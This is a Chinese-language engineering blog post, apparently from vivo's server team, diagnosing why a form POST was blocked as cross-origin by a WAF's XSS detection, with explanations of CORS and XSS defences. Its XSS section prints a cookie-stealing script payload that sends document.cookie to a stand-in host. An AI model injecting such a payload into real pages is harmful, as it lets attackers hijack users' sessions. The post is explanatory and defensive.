層層剖析一次 HTTP POST 請求事故

語言: CN / TW / HK

vivo 網際網路伺服器團隊- Wei Ling

本文主要講述的是如何根據公司網路架構和業務特點,鎖定正常請求被誤判為跨域的原因並解決。

一、問題描述

某一個業務後臺在表單提交的時候,報跨域錯誤,具體如下圖:

圖片

從圖中可看出,報錯原因為HTTP請求傳送失敗,由此,需先了解HTTP請求完整鏈路是什麼。

HTTP請求一般經過3個關卡,分別為DNS、Nginx、Web伺服器,具體流程如下圖:

  • 瀏覽器傳送請求首先到達當地運營商DNS伺服器,經過域名解析獲取請求 IP 地址

  • 瀏覽器獲取 IP 地址後,傳送HTTP請求到達Nginx,由Nginx反向代理到Web服務端

  • 最後,由web服務端返回相應的資源

圖片

瞭解HTTP基本請求鏈路後,結合問題,進行初步調查,發現此form表單是application/json格式的post提交。同時,此業務系統採用了前後端分離的架構方式(頁面域名和後臺服務域名不同 ), 並且在Nginx已經配置跨域解決方案。基於此,我們進行分析。

二、問題排查步驟

第一步:自測定位

既然是form表單,我們採用控制變數法,嘗試對每一個欄位進行修改後提交測試。在多次試驗後,鎖定表單中的moduleExport 欄位的變化會導致這個問題

考慮到moduleExport欄位在業務上是一段JS程式碼,我們嘗試對這段JS程式碼進行刪除/修改,發現:當欄位moduleExport中的這段js程式碼足夠小的時候,問題消失。

基於上述發現,我們第一個猜想是:會不會是HTTP響應方的請求body大小限制導致了這個問題。

第二步:排查 HTTP 請求 body 限制

由於採用前後端分離,真實的請求是由 XXX.XXX.XXX 這個內網域名代表的服務進行響應的。而內網域名的響應鏈如下:

圖片

那麼理論上,如果是HTTP請求body的限制,則可能發生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查:

首先排查LVS層。若LVS層故障,則會出現閘道器異常的問題,返回碼會為502。故此,通過抓包檢視返回碼,從下圖可看出,返回碼為418,故而排除LVS異常的可能

圖片

其次排查Nginx 層。Nginx層的HTTP配置如下:

圖片

我們看到,在Nginx層,最大支援的HTTP請求body為50m, 而我們這次事故的form請求表單,大約在2M, 遠小於限制, 所以:不是Nginx 層HTTP請求body的限制造成的

然後排查 Tomcat 層,檢視 Tomcat 配置:

圖片

我們發現, Tomcat 對於最大post請求的size限制是-1, 語義上表示為無限制,所以: 不是 Tomcat 層HTTP請求body的限制造成的。

綜上,我們可以認為:此次問題和HTTP請求body的大小限制無關。

那麼問題來了,如果不是這兩層導致的,那麼還會有別的因素或者別的網路層導致的嗎?

第三步:集思廣益

我們把相關的運維方拉到了一個群裡面進行討論,討論分兩個階段

  • 【第一階段】

運維方同學發現 Tomcat 是使用容器進行部署的,而容器和nginx層中間,存在一個容器自帶的nameserver層——ingress。我們檢視ingress的相關配置後,發現其對於HTTP請求body的大小限制為3072m。排除是ingress的原因。

  • 【第二階段】

安全方同學表示,公司為了防止XSS攻擊,會對於所有後臺請求,都進行XSS攻擊的校驗,如果校驗不通過,會報跨域錯誤。

也就是說,理論上完整的網路層呼叫鏈如下圖:

圖片

並且從WAF的工作機制和問題表象上來看,很有可能是WAF層的原因

第四步:WAF 排查

帶著上述的猜測,我們重新抓包,嘗試獲取整個HTTP請求的optrace路徑,看看是不是在WAF層被攔截了,抓包結果如下:

圖片

圖片

從抓包資料上來看,status為complete代表前端請求傳送成功,返回碼為418,而optrace中的ip地址經查詢為WAF伺服器ip地址

綜上而言,form表單中的moduleExport欄位的變化很可能導致在WAF層被攔截。而出現問題的moduleExport欄位內容如下:

module.exports = {
    "labelWidth": 80,
    "schema": {
        "title": "XXX",
        "type": "array",
        "items":{
            "type":"object",
            "required":["key","value"],
            "properties":{
                "conf":{
                    "title":"XXX",
                    "type":"string"
                },
                "configs":{
                    "title":"XXX",
                    "type":"array",
                    "items":{
                        ......
                            config: {
                                ......
                                validator: function(value, callback) {
                                    // 至少填寫一項
                                    if(!value || !Object.keys(value).length) {
                                        return callback(new Error('至少填寫一項'))
                                    }
 
                                   callback()
                               }
                         }
              ......
      }

我們進行一個欄位一個欄位排查後,鎖定module.exports.items.properties.configs.config.validator欄位會觸發WAF的攔截機制:請求包過WAF模組時會對所有的攻擊規則都會進行匹配,若屬於高危風險規則,則觸發攔截動作。

三、 問題分析

整個故障的原因,是業務請求的內容觸發了WAF的XSS攻擊檢測。那麼問題來了

  • 為什麼需要WAF

  • 什麼是XSS攻擊

在說明XSS之前,先得說清楚瀏覽器的跨域保護機制

3.1 跨域保護機制

現代瀏覽器都具備‘同源策略’,所謂同源策略,是指只有在地址的:

  1. 協議名 HTTPS,HTTP

  2. 域名

  3. 埠名

均一樣的情況下,才允許訪問相同的cookie、localStorage或是傳送Ajax請求等等。若在不同源的情況下訪問,就稱為跨域。而在日常開發中,存在合理的跨域需求,比如此次問題故障對應的系統,由於採用了前後端分離,導致頁面的域名和後臺的域名必然不相同。那麼如何合理跨域便成了問題。

常見的跨域解決方案有:IFRAME, JSONP, CORS 三種。

  • IFRAME 是在頁面內部生成一個IFRAME,並在IFRAME內部動態編寫JS進行提交。用到此技術的有早期的EXT框架等等。

  • JSONP 是將請求序列化成一個string,然後發起一個JS請求,帶上string。此做法需要後臺支援,並且只能使用GET請求。在當前的業內已經廢除此方案。

  • CORS 協議的應用比較廣泛,並且此次出事故的系統是採用了CORS進行前後端分離。那麼,什麼是CORS協議呢?

3.2 CORS協議

CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標準(官方文件),其核心思路是:在HTTP的請求頭中設定相應的欄位,瀏覽器在發現HTTP請求的相關欄位被設定後,則會正常發起請求,後臺則通過對這些欄位的校驗,決定此請求是否是合理的跨域請求。

CORS協議需要伺服器的支援(非伺服器的業務程序), 比如 Tomcat 7及其以後的版本等等。

對於開發者來說,CORS通訊與同源的AJAX通訊沒有差別,程式碼完全一樣。瀏覽器一旦發現AJAX請求跨源,就會自動新增一些附加的頭資訊,有時還會多出一次附加的請求,但使用者不會有感覺。

因此,實現CORS通訊的關鍵是伺服器(伺服器端可判斷,讓哪些域可以請求)。只要伺服器實現了CORS協議,就可以跨源通訊。

雖然CORS解決了跨域問題,但引入了風險,如XSS攻擊,因此在到達伺服器之前需加一層Web應用防火牆(WAF),它的作用是:過濾所有請求,當發現請求是跨域時,會對整個請求的報文進行規則匹配,如果發現規則不匹配,則直接報錯返回(類似於此次案例中的418)。

整體流程如下:

圖片

不合理的跨域請求,我們一般認為是侵略性請求,這一類的請求,我們視為XSS攻擊。那麼廣義而言的XSS攻擊又是什麼呢?

3.3 XSS 攻擊機制

XSS為跨站指令碼攻擊(Cross-Site Scripting)的縮寫,可以將程式碼注入到使用者瀏覽的網頁上,這種程式碼包括 HTML 和 JavaScript。

例如有一個論壇網站,攻擊者可以在上面釋出以下內容:

<script>location.href="//domain.com/?c=" + document.cookiescript>

之後該內容可能會被渲染成以下形式:

<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>

另一個使用者瀏覽了含有這個內容的頁面將會跳轉到 domain.com 並攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理使用者登入狀態,那麼攻擊者就可以通過這個 Cookie 登入被攻擊者的賬號了。

XSS通過偽造虛假的輸入表單騙取個人資訊、顯示偽造的文章或者圖片等方式可竊取使用者的 Cookie,盜用Cookie後就可冒充使用者訪問各種系統,危害極大。

下面給出2種XSS防禦機制。

3.4 XSS 防禦機制

XSS防禦機制主要包括以下兩點:

3.4.1 設定 Cookie 為 HTTPOnly

設定了 HTTPOnly 的 Cookie 可以防止 JavaScript 指令碼呼叫,就無法通過 document.cookie 獲取使用者 Cookie 資訊。

3.4.2 過濾特殊字元

例如將 < 轉義為 &lt; ,將 > 轉義為 &gt;,從而避免 HTML 和 Jascript 程式碼的執行。

富文字編輯器允許使用者輸入 HTML 程式碼,就不能簡單地將 < 等字元進行過濾了,極大地提高了 XSS 攻擊的可能性。

富文字編輯器通常採用 XSS filter 來防範 XSS 攻擊,通過定義一些標籤白名單或者黑名單,從而不允許有攻擊性的 HTML 程式碼的輸入。

以下例子中,form 和 script 等標籤都被轉義,而 h 和 p 等標籤將會保留。

<h1 id="title">XSS Demo</h1>
 
<p>123</p>
 
<form>
  <input type="text" name="q" value="test">
</form>
 
<pre>hello</pre>
 
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
 
<p>123</p>

轉義後:

<h1>XSS Demo</h1>
 
<p>123</p>
 
&lt;form&gt;
&lt;input type="text" name="q" value="test"&gt;
&lt;/form&gt;
 
<pre>hello</pre>
 
&lt;script type="text/javascript"&gt;
alert(/xss/);
&lt;/script&gt;

四、問題解決

在確定問題後,讓安全團隊修改WAF的攔截規則後,問題消失。

最後,對此問題進行總結。

五、問題總結

縱覽整個排查過程,最耗費資源的工作集中於問題定位:到底是哪個模組出現了問題。而定位模組的最大難點在於:對於網路全鏈路的不瞭解(之前並不知曉WAF層的存在)。

那麼,針對類似的問題,我們後面應該如何去加速問題的解決呢?我認為有兩點需要注意:

  1. 採用控制變數法, 精準定位到問題的邊界——什麼時候能出現,什麼時候不能出現。

  2. 熟悉每一個模組的存在,以及每一個模組的職責邊界和風險可能。

下面來逐個解釋:

5.1 確定問題邊界

我們在一開始,確定是form表單導致的問題後,我們就逐個欄位進行修改驗證,最終確定其中某個欄位導致的現象。在定位到具體的問題發生地後,由將之前鎖定的欄位進行拆解,逐步分析欄位中每個屬性,從而最終確定XX屬性的值觸犯了WAF的規則機制。

5.2 定位模組錯誤

在此案例中,跨域拒絕的故障主要是網路層,那麼我們就必須要摸清楚整個業務服務的網路層次結構。然後對每一層的情況進行分析。

  • 在Nginx層,我們對配置檔案進行分析

  • 在ingress層,我們對其中的配置規則進行分析

  • 在Tomcat層,我們對server.xml的屬性進行分析

總結而言,我們必須熟悉每一個模組的職責,並且知曉如何判斷每一個模組是否在整個鏈路中正常工作,只有基於此,我們才能將問題原因的範圍逐步縮小,從而最後獲得答案。